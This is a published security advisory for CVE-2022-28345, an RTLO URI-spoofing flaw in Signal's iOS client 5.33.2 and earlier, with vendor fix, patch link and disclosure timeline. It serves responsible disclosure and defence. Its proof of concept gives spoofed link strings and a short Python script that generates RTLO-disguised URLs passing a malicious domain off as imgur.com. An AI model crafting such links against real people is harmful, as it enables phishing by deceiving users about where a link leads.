 master ▾

...


[security](#) / [advisories](#) / SICK-2022-42.md



sickcodes [CVE-2022-28345] 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N ✓

 History

 1 contributor

 115 lines (70 sloc) | 4.08 KB

...

Title

CVE-2022-28345 - Signal client for iOS version 5.33.2 and below are vulnerable to RTLO Injection URI Spoofing using malicious URLs such as gepj.net/selif#/moc.elpmaxe which would appear as example.com/#files/ten.jpeg

CVE ID

CVE-2022-28345

CVSS Score

7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Internal IDs

SICK-2022-42

Vendor

Signal

Product

Signal iOS Client

Product Versions

5.33.2 and below

Vulnerability Details

An additional RTLO Injection URI Spoofing in the Signal client for iOS version 5.33.2 and below incorrectly renders RTLO encoded URLs beginning with a non-breaking space, and a hash character in the URL. This technique allowing a remote unauthenticated attacker to send 100% authentic looking links, appearing as any website URL by abusing the non-http & non-https automatic rendering of URLs on the iOS client application for top level domains. An attacker can spoof, for example, example.com, and masquerade any URL with a malicious destination. An attacker only requires a subdomain such as: gepj, txt, fdp, or xcod, which would appear as jpeg, txt, pdf, and docx respectively. This only affects iOS but can be sent via any other client.

Vendor Response

Fixed in Signal iOS client 5.34 released around April 7-8th 2022 depending on your App Store.

Patch: <https://github.com/signalapp/Signal-iOS/commit/b0721e601e549996154127225c68769dfbfae506>

Proof of Concept

Send a message to someone, using natural looking domains, such as apple.com, imgur.com, dhl.com, etc.

```
gepj.net/selif#/moc.rugmi
```

Will appear as

```
imgur.com/#files/ten.jpeg
```

The use of the # character, and removal of http / https causes the Signal client to hyperlink the entire URL and bypasses previous related CVE's.

```
#!/usr/bin/env python
# Modified:      sickcodes
```

```

# Authors:      zadewg
# Repo:         https://github.com/zadewg/RIUS
# Contact:      https://github.com/zadewg/RIUS, https://github.com/sickcodes
# Copyright:    zadewg (C) 2019, sickcodes (C) 2021
# Modified:     https://github.com/zadewg/RIUS
# License:      MIT

import sys

_LEGWEB = 'imgur.com'

_ATTWEB = 'gepj.net'

_SUBDIR = 'images'

_RTLO = (u'\u202e')

_LEGWEB = _LEGWEB[::-1]
_SUBDIR = _SUBDIR[::-1]

print(_LEGWEB+'/'+_SUBDIR)

_ATTFULL = _LEGWEB+'/'+_SUBDIR

print(_ATTFULL)

sys.stdout.write(' ' + _RTLO + (_ATTWEB + '/' + _SUBDIR + '#/' + _LEGWEB) + '\n')

```

This is due to the following RTLO character, and the abuse of trusted TLD domains:

```
<0x202e>gepj.net/segami#/moc.rugmi
```

Disclosure Timeline

- 2019-03-24 - Original research uncovered in related apps
- 2022-03-24 - Researchers meet each other
- 2022-03-24 - Additional bypass discovered
- 2022-03-24 - Signal notified
- 2022-04-02 - CVE Requested
- 2022-04-02 - CVE Assigned CVE-2022-28345
- 2022-04-04 - Vendor advised of CVE & sent the bypass PoC
- 2022-04-06 - Researcher confirms fix in 5.34
- 2022-04-07 - App Stores publish 5.34
- 2022-04-14 - Researcher publishes CVE, PoC, Video

Links

<https://sick.codes/sick-2022-42>

<https://github.com/sickcodes/security/blob/master/advisories/SICK-2022-42.md>

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-28345>

<https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-28345>

<https://github.com/zadewg/RIUS>

<https://blog.malwarebytes.com/social-engineering/2022/03/uri-spoofing-flaw-could-phish-whatsapp-signal-instagram-and-imessage-users/>

Researchers

zadewg: <https://github.com/zadewg>

Sick Codes: <https://github.com/sickcodes> || <https://twitter.com/sickcodes>